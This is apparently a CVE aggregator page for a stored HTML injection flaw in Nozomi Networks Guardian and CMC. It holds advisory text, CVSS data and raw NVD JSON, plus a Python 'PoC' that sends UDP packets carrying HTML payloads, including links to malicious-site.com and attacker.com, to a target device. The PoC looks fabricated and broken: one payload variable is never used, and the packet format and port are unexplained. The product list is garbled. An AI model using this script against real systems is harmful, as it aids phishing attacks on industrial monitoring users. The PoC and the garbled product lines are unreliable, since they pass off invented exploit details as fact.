Security Vulnerability Report
中文
CVE-2025-40891 CVSS 4.7 MEDIUM

CVE-2025-40891

Published: 2025-12-18 14:15:59
Last Modified: 2026-04-14 10:16:27

Description

A Stored HTML Injection vulnerability was discovered in the Time Machine Snapshot Diff functionality due to improper validation of network traffic data. An unauthenticated attacker can send specially crafted network packets at two different times to inject HTML tags into asset attributes across two snapshots. Exploitation requires a victim to use the Time Machine Snapshot Diff feature on those specific snapshots and perform specific GUI actions, at which point the injected HTML renders in their browser, enabling phishing and open redirect attacks. Full XSS exploitation is prevented by input validation and Content Security Policy. Attack complexity is high due to multiple required conditions.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:* - VULNERABLE
Nozomi Networks Guardian < 受影响版本
Nozomi Networks铜版本 < 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40891 PoC - Stored HTML Injection in Time Machine Snapshot Diff # This PoC demonstrates the HTML injection technique (educational purposes only) import socket import time from datetime import datetime def send_malicious_packet(target_ip, port, html_payload, snapshot_id): """ Send specially crafted network packet with HTML injection payload """ # Malicious HTML payload for phishing/open redirect payload = f''' <a href="http://malicious-site.com/phishing?redirect={target_ip}"> Click here for more info </a> ''' # Craft the packet with embedded HTML packet = f"SNAPSHOT_DATA|{snapshot_id}|ASSET_ATTR|{html_payload}" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet.encode(), (target_ip, port)) sock.close() print(f"[+] Packet sent to {target_ip}:{port} for snapshot {snapshot_id}") except Exception as e: print(f"[-] Error: {e}") def main(): target_ip = "192.168.1.100" # Target Nozomi Networks device port = 48000 # Step 1: First injection at T1 print(f"[*] Sending first malicious packet at {datetime.now()}") html_injection_1 = '<img src=x onerror=alert(1)>' send_malicious_packet(target_ip, port, html_injection_1, "SNAPSHOT_T1") # Wait for network traffic capture time.sleep(60) # Wait for next traffic capture cycle # Step 2: Second injection at T2 print(f"[*] Sending second malicious packet at {datetime.now()}") html_injection_2 = '<a href="http://attacker.com">Click here</a>' send_malicious_packet(target_ip, port, html_injection_2, "SNAPSHOT_T2") print("[*] Attack packets sent. Victim must view Snapshot Diff to trigger injection.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40891", "sourceIdentifier": "[email protected]", "published": "2025-12-18T14:15:59.270", "lastModified": "2026-04-14T10:16:26.790", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored HTML Injection vulnerability was discovered in the Time Machine Snapshot Diff functionality due to improper validation of network traffic data. An unauthenticated attacker can send specially crafted network packets at two different times to inject HTML tags into asset attributes across two snapshots. Exploitation requires a victim to use the Time Machine Snapshot Diff feature on those specific snapshots and perform specific GUI actions, at which point the injected HTML renders in their browser, enabling phishing and open redirect attacks. Full XSS exploitation is prevented by input validation and Content Security Policy. Attack complexity is high due to multiple required conditions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.5.0", "matchCriteriaId": "91C795BB-9FFC-4FB0-B686-38DA32ACD478"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.5.0", "matchCriteriaId": "5FBA5D15-9BD3-4062-8560-FEB7FDF4180D"}]}]}], "references": [{"url": "https://security.nozominetworks.com/NN-2025:12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-827968.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}